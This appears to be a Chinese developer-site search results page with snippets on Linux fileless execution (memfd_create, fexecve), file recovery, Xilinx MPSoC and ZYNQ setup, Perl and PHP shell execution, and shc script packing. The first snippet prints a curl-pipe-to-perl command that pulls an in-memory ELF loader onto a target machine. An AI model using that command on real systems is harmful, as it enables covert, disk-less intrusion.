首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Linux文件渗透执行ELF

    02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭。...这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分...第三部分就是执行文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?...可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。

    5.5K80

    linux下误执行rm -f命令后,如何恢复文件

    hi,偶然间看到在linux运行了rm命令之后还能恢复,很是神奇所以就看了下,不知道是不是真的,管他呢先转载啊,不行再删呗反正怎么都是灌水,此文教程并未测试,如有问题请@原作者,在我们在生产环境服务器上执行...rm命令时,总是提心吊胆的,因为一不小心执行了误删,一旦误删没办法了然后就要准备跑路了,毕竟人不是机器,更何况机器也有bug,假如真的不小心删除了不该删除的文件,比如数据库、日志或执行文件,咋办呢?...在Linux系统中,每个运行中的程序都有一个宿主进程彼此隔离,以/proc/进程号来体现(Linux本质上就是一个文件系统),比如:ls -l /proc/13067 查看进程PID为13067的进程信息...;当程序运行时,操作系统会专门开辟一块内存区域,提供给当前进程使用,对于依赖的文件,操作系统会发放一个文件描述符,以便读写文件,当我们执行 rm -f 删除文件时,其实只是删除了文件的目录索引节点,对于文件系统不可见...总结 如果不小心误删了文件,不要着急,首先使用 lsof 查看打开该文件的进程,然后再使用 cat /proc/进程号/fd/文件描述符 查看恢复数据,最后使用I/O重定向的方式来恢复文件

    7.3K31

    linux文件执行— fexecve 揭秘

    继续2020年的flag,至少每周更一篇文章,今天讲linux文件执行。...无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux文件执行的技巧,是后台朋友给我的提醒,万分感谢,又学到了新的东西。...linux文件执行,首先要提到两个函数:memfd_create 和 fexecve。...将ls 命令文件写入到wurstverschwendung文件 通过fexecve执行wurstverschwendung文件,因为/dev/shm在内存中,因此fexecve实际上是在内存中执行文件...对fexecve_test.c 进行编译并执行,可以看到/dev/shm下面确实生成了wurstverschwendung文件。 ? 调试角度 fexecve是如何执行内存中的文件呢?

    4.7K40

    AMD Xilinx MPSoC 在分别下载 PL bit文件、PS软件的情况下,PS软件如何访问 PL AXI寄存器?

    在调试模式下,可以通过JTAG下载MPSoC PL的bit文件,再下载MPSoC PS的软件。这时候,PL已经下载,PS软件应该能够访问PL实现的AXI寄存器。但是PS的软件会卡住。...或者boot.bin里只有PS的软件,启动过程中通过Vivado加载PL bit文件;然后在使用PS软件去访问PL的AXI寄存器,也会有问题。 这是因为在MPSoC PS和PL之间,有一个开关。...如果不使能开关,PS软件就不能访问PL的AXI寄存器。 如果boot.bin里有PL的bit文件,FSBL在启动过程中就会加载PL bit文件;然后打开PS和PL之间的开关。...allow u-boot and linux to access PL*/ (void)psu_ps_pl_isolation_removal_data(); (void)psu_ps_pl_reset_config_data...(); } 如果应用或者调试需要分别下载 PL bit文件、PS软件,请参考上述代码,主动打开PS和PL之间的开关。

    10010

    执行perl xttdriver.pl报错Cant locate GetoptLong.pm in @INC

    环境:AIX 6.1 + Oracle 10.2.0.4 现象:在做xtts测试时,源环境使用Oracle自带的perl执行xttdriver.pl报错如下: $ $ORACLE_HOME/perl/...而在目标环境Linux6.8 + Oracle 11.2.0.4 就正常,起初我没多想这个问题,以为是10g的自带perl版本过低不支持,第一轮测试使用了系统自带perl可执行。...但在后续测试中发现系统自带的perl在执行过程中也是有很多类似错误,虽然最终完成,但担心有其他隐患,和有经验的同事进一步沟通,得知之前成功的xtts项目都是采用oracle自带的perl,某些版本报这个错误是需要额外设置环境变量...) 临时设置PERL5LIB环境变量: $ export PERL5LIB=$ORACLE_HOME/perl/lib 再次使用Oracle自带的perl执行xttdriver.pl不再报之前的错误,这里测试没加参数...-p xttdriver.pl -i xttdriver.pl -r xttdriver.pl -s $ 既然如此,后续还是建议使用

    88920

    php中如何执行linux命令详解

    前言 本文主要给大家介绍了关于在php中如何执行linux命令的相关内容,下面话不多说了,来一起看看详细的介绍吧 php如何执行某个命令 ,官方手册在这里 我们先从shell_exec来说 如何使用shell_exec...在php里面执行shell命令 先来试一下,使用php执行某个shell命令,该命令是mkdir testdir。...执行之后,目录里面是如下图所示,多了一个testdir文件夹,这是通过我们刚刚在php脚本里面执行shell命令生成的 ? shell命令执行失败会如何?...假如说执行shell命令的时候出错了,后面的php代码还能运行吗?看下面这个例子,我要执行的命令是读取并运行test.sh这个文件里面的内容,但是这个文件实际是不存在的。 <?...这样就可以判断是执行失败还是执行成功。示例如下: <?

    7K20

    如何固化ZYNQ PL端程序到FLASH

    ZYNQ7000板子上,PL端逻辑烧写到FLASH里面。怎么办? 前言: 本操作如何固化ZYNQ PL端程序到FLASH分享---基于广州星嵌电子科技有限公司设计研发的Zynq7015平台。..._1_wrapper.v模块的输入、输出管脚,并将Vivado例程顶层模块的管脚添加进来: 图片 生成下载bit流文件 点击Generate Bitsteam,生成bit流文件,在弹出的对话框中选择...Yes: 图片 图片 如果在生成bit流文件过程中,产生了如下错误,则按照错误提示,添加时钟约束,如下示例红框中所示,将红框里面的内容复制到约束文件中: 图片 双击Constraints -...> constrs_1下面的xdc约束文件,xdc约束文件打开后,将错误提示内容复制到xdc约束文件中,然后点击保存: 图片 然后,再次点击Generate Bitsteam,生成bit流文件,在弹出的对话框中选择...文件,将刚刚生成的fsbl.elf文件添加到Boot image partitions中: 图片 图片 添加bit流文件,将bit流文件添加到Boot image partitions中: 图片

    1.2K30

    Linux下创建可执行bin安装文件

    我们将脚本和安装介质上传到生产环境,然后通过执行脚本来完成安装。如果能够将这两个文件合并为一个可执行文件,那安装的过程就更简单明了。 2、代码保护。...实现方法 1、本文以在Redhat系统中安装ftp命令为例说明,如何将安装脚本和安装介质整合成一个文件,简化操作。 首先,编写一个脚本,包含安装的命令。 #!...一个以.x结尾,为可执行的二进制文件。另一个以.x.c结尾,为生成的中间c文件。shc还能指定可执行脚本的过期时间。...参考资料: 1、Linux .bin安装文件制作 2、dos2unix 3、linux下制作二进制bin 文件制做方法 4、shc 5、How to Encrypt Your Bash Shell...Script on Linux Using SHC

    9.1K20
    领券